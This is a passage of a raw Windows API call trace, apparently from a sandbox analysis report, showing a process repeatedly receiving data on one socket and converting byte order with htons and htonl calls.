writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.402] rand () returned 23811 [0119.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3daee230, dwHighDateTime=0x1d31ac1)) [0119.402] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.402] GetCurrentThreadId () returned 0x918 [0119.402] WSASetLastError (iError=0) [0119.402] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.402] SetLastError (dwErrCode=0x0) [0119.402] WSASetLastError (iError=0) [0119.402] recv (in: s=0x1d4, buf=0x865668, len=3048, flags=0 | out: buf=0x865668*) returned 3048 [0119.403] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.403] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.403] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.403] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.403] htons (hostshort=0x0) returned 0x0 [0119.403] htons (hostshort=0x3393) returned 0x9333 [0119.403] htons (hostshort=0xf201) returned 0x1f2 [0119.403] htons (hostshort=0x0) returned 0x0 [0119.403] htons (hostshort=0x3393) returned 0x9333 [0119.403] htons (hostshort=0xf201) returned 0x1f2 [0119.403] htons (hostshort=0x0) returned 0x0 [0119.403] htons (hostshort=0x9333) returned 0x3393 [0119.403] htons (hostshort=0x1f2) returned 0xf201 [0119.403] htons (hostshort=0x0) returned 0x0 [0119.403] htons (hostshort=0x3393) returned 0x9333 [0119.403] htons (hostshort=0xf201) returned 0x1f2 [0119.403] htons (hostshort=0x0) returned 0x0 [0119.403] htons (hostshort=0x3393) returned 0x9333 [0119.403] htons (hostshort=0xf201) returned 0x1f2 [0119.403] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.403] htons (hostshort=0x0) returned 0x0 [0119.403] htons (hostshort=0x3393) returned 0x9333 [0119.403] htons (hostshort=0xf201) returned 0x1f2 [0119.403] htons (hostshort=0x0) returned 0x0 [0119.403] htons (hostshort=0x3393) returned 0x9333 [0119.403] htons (hostshort=0xf201) returned 0x1f2 [0119.404] htons (hostshort=0x0) returned 0x0 [0119.404] htons (hostshort=0x9333) returned 0x3393 [0119.404] htons (hostshort=0x1f2) returned 0xf201 [0119.404] htons (hostshort=0x0) returned 0x0 [0119.404] htons (hostshort=0x3393) returned 0x9333 [0119.404] htons (hostshort=0xf201) returned 0x1f2 [0119.404] htons (hostshort=0x0) returned 0x0 [0119.404] htons (hostshort=0x3393) returned 0x9333 [0119.404] htons (hostshort=0xf201) returned 0x1f2 [0119.404] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.404] htons (hostshort=0x0) returned 0x0 [0119.404] htons (hostshort=0x3393) returned 0x9333 [0119.404] htons (hostshort=0xf201) returned 0x1f2 [0119.404] htons (hostshort=0x0) returned 0x0 [0119.404] htons (hostshort=0x3393) returned 0x9333 [0119.404] htons (hostshort=0xf201) returned 0x1f2 [0119.404] htons (hostshort=0x0) returned 0x0 [0119.404] htons (hostshort=0x9333) returned 0x3393 [0119.404] htons (hostshort=0x1f2) returned 0xf201 [0119.404] htons (hostshort=0x0) returned 0x0 [0119.404] htons (hostshort=0x3393) returned 0x9333 [0119.404] htons (hostshort=0xf201) returned 0x1f2 [0119.404] htons (hostshort=0x0) returned 0x0 [0119.404] htons (hostshort=0x3393) returned 0x9333 [0119.404] htons (hostshort=0xf201) returned 0x1f2 [0119.404] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.404] htons (hostshort=0x0) returned 0x0 [0119.404] htons (hostshort=0x3393) returned 0x9333 [0119.404] htons (hostshort=0xc001) returned 0x1c0 [0119.404] htons (hostshort=0x0) returned 0x0 [0119.404] htons (hostshort=0x3393) returned 0x9333 [0119.404] htons (hostshort=0xc001) returned 0x1c0 [0119.404] htons (hostshort=0x0) returned 0x0 [0119.404] htons (hostshort=0x9333) returned 0x3393 [0119.404] htons (hostshort=0x1c0) returned 0xc001 [0119.404] htons (hostshort=0x0) returned 0x0 [0119.404] htons (hostshort=0x3393) returned 0x9333 [0119.404] htons (hostshort=0xc001) returned 0x1c0 [0119.404] htons (hostshort=0x0) returned 0x0 [0119.404] htons (hostshort=0x3393) returned 0x9333 [0119.404] htons (hostshort=0xc001) returned 0x1c0 [0119.404] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.404] htons (hostshort=0x0) returned 0x0 [0119.404] htons (hostshort=0x3393) returned 0x9333 [0119.404] htons (hostshort=0xf201) returned 0x1f2 [0119.405] htons (hostshort=0x0) returned 0x0 [0119.405] htons (hostshort=0x3393) returned 0x9333 [0119.405] htons (hostshort=0xf201) returned 0x1f2 [0119.405] htons (hostshort=0x0) returned 0x0 [0119.405] htons (hostshort=0x9333) returned 0x3393 [0119.405] htons (hostshort=0x1f2) returned 0xf201 [0119.405] htons (hostshort=0x0) returned 0x0 [0119.405] htons (hostshort=0x3393) returned 0x9333 [0119.405] htons (hostshort=0xf201) returned 0x1f2 [0119.405] htons (hostshort=0x0) returned 0x0 [0119.405] htons (hostshort=0x3393) returned 0x9333 [0119.405] htons (hostshort=0xf201) returned 0x1f2 [0119.405] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.405] rand () returned 31322 [0119.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3daee230, dwHighDateTime=0x1d31ac1)) [0119.405] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.405] GetCurrentThreadId () returned 0x918 [0119.405] WSASetLastError (iError=0) [0119.405] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.405] SetLastError (dwErrCode=0x0) [0119.405] WSASetLastError (iError=0) [0119.405] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.405] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.405] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.405] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.405] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.405] htons (hostshort=0x0) returned 0x0 [0119.405] htons (hostshort=0x3393) returned 0x9333 [0119.405] htons (hostshort=0xf201) returned 0x1f2 [0119.405] htons (hostshort=0x0) returned 0x0 [0119.405] htons (hostshort=0x3393) returned 0x9333 [0119.405] htons (hostshort=0xf201) returned 0x1f2 [0119.405] htons (hostshort=0x0) returned 0x0 [0119.405] htons (hostshort=0x9333) returned 0x3393 [0119.405] htons (hostshort=0x1f2) returned 0xf201 [0119.405] htons (hostshort=0x0) returned 0x0 [0119.405] htons (hostshort=0x3393) returned 0x9333 [0119.405] htons (hostshort=0xf201) returned 0x1f2 [0119.405] htons (hostshort=0x0) returned 0x0 [0119.405] htons (hostshort=0x3393) returned 0x9333 [0119.405] htons (hostshort=0xf201) returned 0x1f2 [0119.406] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.406] htons (hostshort=0x0) returned 0x0 [0119.406] htons (hostshort=0x3393) returned 0x9333 [0119.406] htons (hostshort=0xf201) returned 0x1f2 [0119.406] htons (hostshort=0x0) returned 0x0 [0119.406] htons (hostshort=0x3393) returned 0x9333 [0119.406] htons (hostshort=0xf201) returned 0x1f2 [0119.406] htons (hostshort=0x0) returned 0x0 [0119.406] htons (hostshort=0x9333) returned 0x3393 [0119.406] htons (hostshort=0x1f2) returned 0xf201 [0119.406] htons (hostshort=0x0) returned 0x0 [0119.406] htons (hostshort=0x3393) returned 0x9333 [0119.406] htons (hostshort=0xf201) returned 0x1f2 [0119.406] htons (hostshort=0x0) returned 0x0 [0119.406] htons (hostshort=0x3393) returned 0x9333 [0119.406] htons (hostshort=0xf201) returned 0x1f2 [0119.406] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.406] htons (hostshort=0x0) returned 0x0 [0119.406] htons (hostshort=0x3393) returned 0x9333 [0119.406] htons (hostshort=0xf201) returned 0x1f2 [0119.406] htons (hostshort=0x0) returned 0x0 [0119.406] htons (hostshort=0x3393) returned 0x9333 [0119.406] htons (hostshort=0xf201) returned 0x1f2 [0119.406] htons (hostshort=0x0) returned 0x0 [0119.406] htons (hostshort=0x9333) returned 0x3393 [0119.406] htons (hostshort=0x1f2) returned 0xf201 [0119.406] htons (hostshort=0x0) returned 0x0 [0119.406] htons (hostshort=0x3393) returned 0x9333 [0119.406] htons (hostshort=0xf201) returned 0x1f2 [0119.406] htons (hostshort=0x0) returned 0x0 [0119.406] htons (hostshort=0x3393) returned 0x9333 [0119.406] htons (hostshort=0xf201) returned 0x1f2 [0119.406] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.406] htons (hostshort=0x0) returned 0x0 [0119.406] htons (hostshort=0x3393) returned 0x9333 [0119.406] htons (hostshort=0xf201) returned 0x1f2 [0119.406] htons (hostshort=0x0) returned 0x0 [0119.406] htons (hostshort=0x3393) returned 0x9333 [0119.406] htons (hostshort=0xf201) returned 0x1f2 [0119.406] htons (hostshort=0x0) returned 0x0 [0119.406] htons (hostshort=0x9333) returned 0x3393 [0119.406] htons (hostshort=0x1f2) returned 0xf201 [0119.406] htons (hostshort=0x0) returned 0x0 [0119.406] htons (hostshort=0x3393) returned 0x9333 [0119.406] htons (hostshort=0xf201) returned 0x1f2 [0119.406] htons (hostshort=0x0) returned 0x0 [0119.407] htons (hostshort=0x3393) returned 0x9333 [0119.407] htons (hostshort=0xf201) returned 0x1f2 [0119.407] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.407] htons (hostshort=0x0) returned 0x0 [0119.407] htons (hostshort=0x3393) returned 0x9333 [0119.407] htons (hostshort=0xf201) returned 0x1f2 [0119.407] htons (hostshort=0x0) returned 0x0 [0119.407] htons (hostshort=0x3393) returned 0x9333 [0119.407] htons (hostshort=0xf201) returned 0x1f2 [0119.407] htons (hostshort=0x0) returned 0x0 [0119.407] htons (hostshort=0x9333) returned 0x3393 [0119.407] htons (hostshort=0x1f2) returned 0xf201 [0119.407] htons (hostshort=0x0) returned 0x0 [0119.407] htons (hostshort=0x3393) returned 0x9333 [0119.407] htons (hostshort=0xf201) returned 0x1f2 [0119.407] htons (hostshort=0x0) returned 0x0 [0119.407] htons (hostshort=0x3393) returned 0x9333 [0119.407] htons (hostshort=0xf201) returned 0x1f2 [0119.407] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.407] htons (hostshort=0x0) returned 0x0 [0119.407] htons (hostshort=0x3393) returned 0x9333 [0119.407] htons (hostshort=0xf201) returned 0x1f2 [0119.407] htons (hostshort=0x0) returned 0x0 [0119.407] htons (hostshort=0x3393) returned 0x9333 [0119.407] htons (hostshort=0xf201) returned 0x1f2 [0119.407] htons (hostshort=0x0) returned 0x0 [0119.407] htons (hostshort=0x9333) returned 0x3393 [0119.407] htons (hostshort=0x1f2) returned 0xf201 [0119.407] htons (hostshort=0x0) returned 0x0 [0119.407] htons (hostshort=0x3393) returned 0x9333 [0119.407] htons (hostshort=0xf201) returned 0x1f2 [0119.407] htons (hostshort=0x0) returned 0x0 [0119.407] htons (hostshort=0x3393) returned 0x9333 [0119.407] htons (hostshort=0xf201) returned 0x1f2 [0119.407] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.407] htons (hostshort=0x0) returned 0x0 [0119.407] htons (hostshort=0x3393) returned 0x9333 [0119.407] htons (hostshort=0xf201) returned 0x1f2 [0119.407] htons (hostshort=0x0) returned 0x0 [0119.407] htons (hostshort=0x3393) returned 0x9333 [0119.407] htons (hostshort=0xf201) returned 0x1f2 [0119.407] htons (hostshort=0x0) returned 0x0 [0119.407] htons (hostshort=0x9333) returned 0x3393 [0119.407] htons (hostshort=0x1f2) returned 0xf201 [0119.407] htons (hostshort=0x0) returned 0x0 [0119.407] htons (hostshort=0x3393) returned 0x9333 [0119.408] htons (hostshort=0xf201) returned 0x1f2 [0119.408] htons (hostshort=0x0) returned 0x0 [0119.408] htons (hostshort=0x3393) returned 0x9333 [0119.408] htons (hostshort=0xf201) returned 0x1f2 [0119.408] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.408] htons (hostshort=0x0) returned 0x0 [0119.408] htons (hostshort=0x3393) returned 0x9333 [0119.408] htons (hostshort=0xf201) returned 0x1f2 [0119.408] htons (hostshort=0x0) returned 0x0 [0119.408] htons (hostshort=0x3393) returned 0x9333 [0119.408] htons (hostshort=0xf201) returned 0x1f2 [0119.408] htons (hostshort=0x0) returned 0x0 [0119.408] htons (hostshort=0x9333) returned 0x3393 [0119.408] htons (hostshort=0x1f2) returned 0xf201 [0119.408] htons (hostshort=0x0) returned 0x0 [0119.408] htons (hostshort=0x3393) returned 0x9333 [0119.408] htons (hostshort=0xf201) returned 0x1f2 [0119.408] htons (hostshort=0x0) returned 0x0 [0119.408] htons (hostshort=0x3393) returned 0x9333 [0119.408] htons (hostshort=0xf201) returned 0x1f2 [0119.408] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.408] rand () returned 30333 [0119.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3daee230, dwHighDateTime=0x1d31ac1)) [0119.408] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.408] GetCurrentThreadId () returned 0x918 [0119.408] WSASetLastError (iError=0) [0119.408] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.408] SetLastError (dwErrCode=0x0) [0119.408] WSASetLastError (iError=0) [0119.408] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.408] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.408] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.408] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.408] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.408] htons (hostshort=0x0) returned 0x0 [0119.408] htons (hostshort=0x3393) returned 0x9333 [0119.408] htons (hostshort=0xf201) returned 0x1f2 [0119.408] htons (hostshort=0x0) returned 0x0 [0119.408] htons (hostshort=0x3393) returned 0x9333 [0119.408] htons (hostshort=0xf201) returned 0x1f2 [0119.409] htons (hostshort=0x0) returned 0x0 [0119.409] htons (hostshort=0x9333) returned 0x3393 [0119.409] htons (hostshort=0x1f2) returned 0xf201 [0119.409] htons (hostshort=0x0) returned 0x0 [0119.409] htons (hostshort=0x3393) returned 0x9333 [0119.409] htons (hostshort=0xf201) returned 0x1f2 [0119.409] htons (hostshort=0x0) returned 0x0 [0119.409] htons (hostshort=0x3393) returned 0x9333 [0119.409] htons (hostshort=0xf201) returned 0x1f2 [0119.409] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.409] htons (hostshort=0x0) returned 0x0 [0119.409] htons (hostshort=0x3393) returned 0x9333 [0119.409] htons (hostshort=0xf201) returned 0x1f2 [0119.409] htons (hostshort=0x0) returned 0x0 [0119.409] htons (hostshort=0x3393) returned 0x9333 [0119.409] htons (hostshort=0xf201) returned 0x1f2 [0119.409] htons (hostshort=0x0) returned 0x0 [0119.409] htons (hostshort=0x9333) returned 0x3393 [0119.409] htons (hostshort=0x1f2) returned 0xf201 [0119.409] htons (hostshort=0x0) returned 0x0 [0119.409] htons (hostshort=0x3393) returned 0x9333 [0119.409] htons (hostshort=0xf201) returned 0x1f2 [0119.409] htons (hostshort=0x0) returned 0x0 [0119.409] htons (hostshort=0x3393) returned 0x9333 [0119.409] htons (hostshort=0xf201) returned 0x1f2 [0119.409] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.409] htons (hostshort=0x0) returned 0x0 [0119.409] htons (hostshort=0x3393) returned 0x9333 [0119.409] htons (hostshort=0xf201) returned 0x1f2 [0119.409] htons (hostshort=0x0) returned 0x0 [0119.409] htons (hostshort=0x3393) returned 0x9333 [0119.409] htons (hostshort=0xf201) returned 0x1f2 [0119.409] htons (hostshort=0x0) returned 0x0 [0119.409] htons (hostshort=0x9333) returned 0x3393 [0119.409] htons (hostshort=0x1f2) returned 0xf201 [0119.409] htons (hostshort=0x0) returned 0x0 [0119.409] htons (hostshort=0x3393) returned 0x9333 [0119.409] htons (hostshort=0xf201) returned 0x1f2 [0119.409] htons (hostshort=0x0) returned 0x0 [0119.409] htons (hostshort=0x3393) returned 0x9333 [0119.409] htons (hostshort=0xf201) returned 0x1f2 [0119.409] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.409] htons (hostshort=0x0) returned 0x0 [0119.409] htons (hostshort=0x3393) returned 0x9333 [0119.409] htons (hostshort=0xf201) returned 0x1f2 [0119.409] htons (hostshort=0x0) returned 0x0 [0119.409] htons (hostshort=0x3393) returned 0x9333 [0119.410] htons (hostshort=0xf201) returned 0x1f2 [0119.410] htons (hostshort=0x0) returned 0x0 [0119.410] htons (hostshort=0x9333) returned 0x3393 [0119.410] htons (hostshort=0x1f2) returned 0xf201 [0119.410] htons (hostshort=0x0) returned 0x0 [0119.410] htons (hostshort=0x3393) returned 0x9333 [0119.410] htons (hostshort=0xf201) returned 0x1f2 [0119.410] htons (hostshort=0x0) returned 0x0 [0119.410] htons (hostshort=0x3393) returned 0x9333 [0119.410] htons (hostshort=0xf201) returned 0x1f2 [0119.410] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.410] htons (hostshort=0x0) returned 0x0 [0119.410] htons (hostshort=0x3393) returned 0x9333 [0119.410] htons (hostshort=0xf201) returned 0x1f2 [0119.410] htons (hostshort=0x0) returned 0x0 [0119.410] htons (hostshort=0x3393) returned 0x9333 [0119.410] htons (hostshort=0xf201) returned 0x1f2 [0119.410] htons (hostshort=0x0) returned 0x0 [0119.410] htons (hostshort=0x9333) returned 0x3393 [0119.410] htons (hostshort=0x1f2) returned 0xf201 [0119.410] htons (hostshort=0x0) returned 0x0 [0119.410] htons (hostshort=0x3393) returned 0x9333 [0119.410] htons (hostshort=0xf201) returned 0x1f2 [0119.410] htons (hostshort=0x0) returned 0x0 [0119.410] htons (hostshort=0x3393) returned 0x9333 [0119.410] htons (hostshort=0xf201) returned 0x1f2 [0119.410] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.410] htons (hostshort=0x0) returned 0x0 [0119.410] htons (hostshort=0x3393) returned 0x9333 [0119.410] htons (hostshort=0xf201) returned 0x1f2 [0119.410] htons (hostshort=0x0) returned 0x0 [0119.410] htons (hostshort=0x3393) returned 0x9333 [0119.410] htons (hostshort=0xf201) returned 0x1f2 [0119.410] htons (hostshort=0x0) returned 0x0 [0119.410] htons (hostshort=0x9333) returned 0x3393 [0119.410] htons (hostshort=0x1f2) returned 0xf201 [0119.410] htons (hostshort=0x0) returned 0x0 [0119.410] htons (hostshort=0x3393) returned 0x9333 [0119.410] htons (hostshort=0xf201) returned 0x1f2 [0119.410] htons (hostshort=0x0) returned 0x0 [0119.410] htons (hostshort=0x3393) returned 0x9333 [0119.410] htons (hostshort=0xf201) returned 0x1f2 [0119.410] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.411] htons (hostshort=0x0) returned 0x0 [0119.411] htons (hostshort=0x3393) returned 0x9333 [0119.411] htons (hostshort=0xf201) returned 0x1f2 [0119.411] htons (hostshort=0x0) returned 0x0 [0119.411] htons (hostshort=0x3393) returned 0x9333 [0119.411] htons (hostshort=0xf201) returned 0x1f2 [0119.411] htons (hostshort=0x0) returned 0x0 [0119.411] htons (hostshort=0x9333) returned 0x3393 [0119.411] htons (hostshort=0x1f2) returned 0xf201 [0119.411] htons (hostshort=0x0) returned 0x0 [0119.411] htons (hostshort=0x3393) returned 0x9333 [0119.411] htons (hostshort=0xf201) returned 0x1f2 [0119.411] htons (hostshort=0x0) returned 0x0 [0119.411] htons (hostshort=0x3393) returned 0x9333 [0119.411] htons (hostshort=0xf201) returned 0x1f2 [0119.411] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.411] htons (hostshort=0x0) returned 0x0 [0119.411] htons (hostshort=0x3393) returned 0x9333 [0119.411] htons (hostshort=0xf201) returned 0x1f2 [0119.411] htons (hostshort=0x0) returned 0x0 [0119.411] htons (hostshort=0x3393) returned 0x9333 [0119.411] htons (hostshort=0xf201) returned 0x1f2 [0119.411] htons (hostshort=0x0) returned 0x0 [0119.411] htons (hostshort=0x9333) returned 0x3393 [0119.411] htons (hostshort=0x1f2) returned 0xf201 [0119.411] htons (hostshort=0x0) returned 0x0 [0119.411] htons (hostshort=0x3393) returned 0x9333 [0119.411] htons (hostshort=0xf201) returned 0x1f2 [0119.411] htons (hostshort=0x0) returned 0x0 [0119.411] htons (hostshort=0x3393) returned 0x9333 [0119.411] htons (hostshort=0xf201) returned 0x1f2 [0119.411] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.411] rand () returned 17673 [0119.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db14390, dwHighDateTime=0x1d31ac1)) [0119.412] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.412] GetCurrentThreadId () returned 0x918 [0119.412] WSASetLastError (iError=0) [0119.412] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.412] SetLastError (dwErrCode=0x0) [0119.412] WSASetLastError (iError=0) [0119.412] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.412] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.412] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.412] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.412] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.412] htons (hostshort=0x0) returned 0x0 [0119.412] htons (hostshort=0x3393) returned 0x9333 [0119.412] htons (hostshort=0xf201) returned 0x1f2 [0119.412] htons (hostshort=0x0) returned 0x0 [0119.412] htons (hostshort=0x3393) returned 0x9333 [0119.412] htons (hostshort=0xf201) returned 0x1f2 [0119.412] htons (hostshort=0x0) returned 0x0 [0119.412] htons (hostshort=0x9333) returned 0x3393 [0119.412] htons (hostshort=0x1f2) returned 0xf201 [0119.412] htons (hostshort=0x0) returned 0x0 [0119.412] htons (hostshort=0x3393) returned 0x9333 [0119.412] htons (hostshort=0xf201) returned 0x1f2 [0119.412] htons (hostshort=0x0) returned 0x0 [0119.412] htons (hostshort=0x3393) returned 0x9333 [0119.412] htons (hostshort=0xf201) returned 0x1f2 [0119.412] htons (hostshort=0x0) returned 0x0 [0119.412] htons (hostshort=0x9333) returned 0x3393 [0119.412] htons (hostshort=0x0) returned 0x0 [0119.412] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0119.412] htons (hostshort=0x0) returned 0x0 [0119.412] htons (hostshort=0x3393) returned 0x9333 [0119.412] htons (hostshort=0x0) returned 0x0 [0119.412] htons (hostshort=0x0) returned 0x0 [0119.412] htons (hostshort=0x9333) returned 0x3393 [0119.413] htons (hostshort=0x0) returned 0x0 [0119.413] htonl (hostlong=0xa8fe7be7) returned 0xe77bfea8 [0119.413] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.413] htons (hostshort=0x0) returned 0x0 [0119.413] htons (hostshort=0x3393) returned 0x9333 [0119.413] htons (hostshort=0xf201) returned 0x1f2 [0119.413] htons (hostshort=0x0) returned 0x0 [0119.413] htons (hostshort=0x3393) returned 0x9333 [0119.413] htons (hostshort=0xf201) returned 0x1f2 [0119.413] htons (hostshort=0x0) returned 0x0 [0119.413] htons (hostshort=0x9333) returned 0x3393 [0119.413] htons (hostshort=0x1f2) returned 0xf201 [0119.413] htons (hostshort=0x0) returned 0x0 [0119.413] htons (hostshort=0x3393) returned 0x9333 [0119.413] htons (hostshort=0xf201) returned 0x1f2 [0119.413] htons (hostshort=0x0) returned 0x0 [0119.413] htons (hostshort=0x3393) returned 0x9333 [0119.413] htons (hostshort=0xf201) returned 0x1f2 [0119.413] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.413] htons (hostshort=0x0) returned 0x0 [0119.413] htons (hostshort=0x3393) returned 0x9333 [0119.413] htons (hostshort=0xf201) returned 0x1f2 [0119.413] htons (hostshort=0x0) returned 0x0 [0119.413] htons (hostshort=0x3393) returned 0x9333 [0119.413] htons (hostshort=0xf201) returned 0x1f2 [0119.413] htons (hostshort=0x0) returned 0x0 [0119.413] htons (hostshort=0x9333) returned 0x3393 [0119.413] htons (hostshort=0x1f2) returned 0xf201 [0119.413] htons (hostshort=0x0) returned 0x0 [0119.413] htons (hostshort=0x3393) returned 0x9333 [0119.413] htons (hostshort=0xf201) returned 0x1f2 [0119.413] htons (hostshort=0x0) returned 0x0 [0119.413] htons (hostshort=0x3393) returned 0x9333 [0119.413] htons (hostshort=0xf201) returned 0x1f2 [0119.413] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.413] htons (hostshort=0x0) returned 0x0 [0119.413] htons (hostshort=0x3393) returned 0x9333 [0119.413] htons (hostshort=0xf201) returned 0x1f2 [0119.413] htons (hostshort=0x0) returned 0x0 [0119.413] htons (hostshort=0x3393) returned 0x9333 [0119.413] htons (hostshort=0xf201) returned 0x1f2 [0119.413] htons (hostshort=0x0) returned 0x0 [0119.413] htons (hostshort=0x9333) returned 0x3393 [0119.413] htons (hostshort=0x1f2) returned 0xf201 [0119.414] htons (hostshort=0x0) returned 0x0 [0119.414] htons (hostshort=0x3393) returned 0x9333 [0119.414] htons (hostshort=0xf201) returned 0x1f2 [0119.414] htons (hostshort=0x0) returned 0x0 [0119.414] htons (hostshort=0x3393) returned 0x9333 [0119.414] htons (hostshort=0xf201) returned 0x1f2 [0119.414] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.414] htons (hostshort=0x0) returned 0x0 [0119.414] htons (hostshort=0x3393) returned 0x9333 [0119.414] htons (hostshort=0xf201) returned 0x1f2 [0119.414] htons (hostshort=0x0) returned 0x0 [0119.414] htons (hostshort=0x3393) returned 0x9333 [0119.414] htons (hostshort=0xf201) returned 0x1f2 [0119.414] htons (hostshort=0x0) returned 0x0 [0119.414] htons (hostshort=0x9333) returned 0x3393 [0119.414] htons (hostshort=0x1f2) returned 0xf201 [0119.414] htons (hostshort=0x0) returned 0x0 [0119.414] htons (hostshort=0x3393) returned 0x9333 [0119.414] htons (hostshort=0xf201) returned 0x1f2 [0119.414] htons (hostshort=0x0) returned 0x0 [0119.414] htons (hostshort=0x3393) returned 0x9333 [0119.414] htons (hostshort=0xf201) returned 0x1f2 [0119.414] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.414] htons (hostshort=0x0) returned 0x0 [0119.414] htons (hostshort=0x3393) returned 0x9333 [0119.414] htons (hostshort=0xf201) returned 0x1f2 [0119.414] htons (hostshort=0x0) returned 0x0 [0119.414] htons (hostshort=0x3393) returned 0x9333 [0119.414] htons (hostshort=0xf201) returned 0x1f2 [0119.414] htons (hostshort=0x0) returned 0x0 [0119.414] htons (hostshort=0x9333) returned 0x3393 [0119.414] htons (hostshort=0x1f2) returned 0xf201 [0119.414] htons (hostshort=0x0) returned 0x0 [0119.414] htons (hostshort=0x3393) returned 0x9333 [0119.414] htons (hostshort=0xf201) returned 0x1f2 [0119.414] htons (hostshort=0x0) returned 0x0 [0119.414] htons (hostshort=0x3393) returned 0x9333 [0119.414] htons (hostshort=0xf201) returned 0x1f2 [0119.414] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.414] htons (hostshort=0x0) returned 0x0 [0119.414] htons (hostshort=0x3393) returned 0x9333 [0119.414] htons (hostshort=0xf201) returned 0x1f2 [0119.414] htons (hostshort=0x0) returned 0x0 [0119.414] htons (hostshort=0x3393) returned 0x9333 [0119.414] htons (hostshort=0xf201) returned 0x1f2 [0119.414] htons (hostshort=0x0) returned 0x0 [0119.414] htons (hostshort=0x9333) returned 0x3393 [0119.415] htons (hostshort=0x1f2) returned 0xf201 [0119.415] htons (hostshort=0x0) returned 0x0 [0119.415] htons (hostshort=0x3393) returned 0x9333 [0119.415] htons (hostshort=0xf201) returned 0x1f2 [0119.415] htons (hostshort=0x0) returned 0x0 [0119.415] htons (hostshort=0x3393) returned 0x9333 [0119.415] htons (hostshort=0xf201) returned 0x1f2 [0119.415] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.415] htons (hostshort=0x0) returned 0x0 [0119.415] htons (hostshort=0x3393) returned 0x9333 [0119.415] htons (hostshort=0xf201) returned 0x1f2 [0119.415] htons (hostshort=0x0) returned 0x0 [0119.415] htons (hostshort=0x3393) returned 0x9333 [0119.415] htons (hostshort=0xf201) returned 0x1f2 [0119.415] htons (hostshort=0x0) returned 0x0 [0119.415] htons (hostshort=0x9333) returned 0x3393 [0119.415] htons (hostshort=0x1f2) returned 0xf201 [0119.415] htons (hostshort=0x0) returned 0x0 [0119.415] htons (hostshort=0x3393) returned 0x9333 